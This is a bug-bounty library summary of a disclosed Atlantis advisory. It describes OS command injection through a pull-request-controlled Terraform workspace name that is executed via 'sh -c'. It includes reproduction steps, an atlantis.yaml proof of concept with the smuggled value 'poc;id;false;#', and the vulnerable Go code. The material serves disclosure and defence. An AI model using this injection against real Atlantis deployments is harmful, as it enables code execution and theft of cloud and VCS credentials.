# Atlantis: OS command injection through PR-controlled Terraform workspace enables RCE during plan

Atlantis passes PR-controlled atlantis.yaml workspace name unquoted into `sh -c` terraform command, letting any plan-eligible contributor run shell commands as the service account.

- Payout: Research
- Severity: high
- Program: Atlantis
- Found by: krewenki
- Disclosed: 2026-10-27
- CVE: CVE-2026-116676
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rjh2-4xgw-p2hj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rjh2-4xgw-p2hj
- Tags: area:cloud domain:infra impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:go technique:source-review vuln:command-injection vuln:rce

**Target:** Atlantis server Terraform workspace step runner (atlantis.yaml project config)
**Root cause:** Workspace validation only rejects `..`, `/`, `\`, leaving shell metacharacters; the value is joined into a command string and executed via `sh -c` instead of an argument vector.
**Steps:**
1. Create repo with `main.tf` (terraform required_version >= 1.0) and `atlantis.yaml` with project `workspace: "poc;id;false;#"` and `autoplan.enabled: false`.
2. Open a PR containing these files (fork PRs need `--allow-fork-prs`; same-repo branch does not).
3. Comment `atlantis plan -p workspace-rce-poc`.
4. Atlantis runs `terraform workspace select poc;id;false;#`; injected `false` fails it, triggering retry `terraform workspace new poc;id;false;#`.
5. Both invocations execute `id`; second failure returns combined output `uid=1000(atlantis) ...` in the Atlantis error response.
**How found:** Code-reading of the data flow: noticed workspace validation in raw/project.go only blocks path traversal chars, then traced the value through workspace_step_runner_delegate.go into strings.Join and finally `exec.Command("sh", "-c", tfCmd)`; confirmed Validate() accepts the metacharacter payload.
**Exploitation:** Attacker with a plan-eligible PR supplies a workspace name containing `;id;false;#`; the `false` forces the select to fail so Atlantis retries with `workspace new`, executing the injected command twice. Output is reflected in the error response; the shell inherits Atlantis env with cloud/Terraform/VCS credentials, enabling exfiltration and pivoting.
**Escalation:** No custom workflow or apply needed; inherited service-account credentials allow cloud/VCS access, state/plan file reads, and network pivoting from the Atlantis host.
**Insight:** When a config field is validated only against path-traversal characters, trace whether it later reaches a shell string builder (`strings.Join` + `sh -c`) rather than an argv slice — any field joined into shell source is injectable regardless of semantic validation.

## Proof of concept (copied exactly from the original report)

**Malicious atlantis.yaml workspace payload**

```
version: 3
projects:
  - name: workspace-rce-poc
    dir: .
    workspace: "poc;id;false;#"
    autoplan:
      enabled: false

Open a pull request containing these files and comment:
```

**Injected workspace command string**

```
poc;id;false;#

produces commands equivalent to:

terraform workspace select poc;id;false;#
terraform workspace new poc;id;false;#
```

**sh -c execution of joined args**

```
tfCmd := fmt.Sprintf("%s %s", binPath, strings.Join(args, " "))

4. The resulting string is executed through `sh -c` in [`server/core/terraform/tfclient/terraform_client.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/terraform/tfclient/terraform_client.go#L416-L427):

   cmd := exec.Command("sh", "-c", tfCmd)
```

